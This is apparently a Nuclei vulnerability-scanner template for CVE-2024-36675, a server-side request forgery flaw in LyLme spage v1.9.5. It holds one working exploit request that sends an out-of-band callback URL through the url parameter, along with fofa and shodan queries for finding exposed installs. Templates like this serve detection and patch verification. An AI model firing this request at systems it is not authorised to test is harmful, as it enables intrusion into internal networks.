id: CVE-2024-36675

info:
  name: LyLme spage v1.9.5 - Server-Side Request Forgery
  author: ritikchaddha
  severity: high
  description: |
    LyLme spage v1.9.5 is vulnerable to server-side request forgery (SSRF) via the url parameter in apply/index.php. An attacker can force the server to make arbitrary requests, potentially accessing internal resources.
  impact: |
    Unauthenticated attackers can force the server to make arbitrary requests via the url parameter, potentially accessing internal resources.
  remediation: |
    Update LyLme spage to a version later than v1.9.5 that patches the SSRF vulnerability.
  reference:
    - https://github.com/Hebing123/cve/issues/44
    - https://nvd.nist.gov/vuln/detail/CVE-2024-36675
  classification:
    epss-score: 0.01438
    epss-percentile: 0.70536
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2024-36675
    cwe-id: CWE-918
    cpe: cpe:2.3:a:lylme:lylme_spage:1.9.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: lylme
    product: lylme_spage
    fofa-query: title="LyLme Spage"
    shodan-query: http.favicon.hash:-282504889
  tags: cve,cve2024,ssrf,lylme,spage,oast,oob,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/apply/index.php?url=http://{{interactsh-url}}"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(interactsh_protocol, "http")'
          - 'contains_all(body, "title\":", "icon\":")'
          - 'contains(content_type, "application/json")'
        condition: and
# digest: 4a0a0047304502204e26aff4514d2f8a88b7db84e17a0731f274f521120760a73ecd4135b6605ab5022100ff629322aaf9ee83cf0ef68ccad76df95514d10a17713d482bb5e77bbf350046:922c64590222798bb761d5b6d8e72950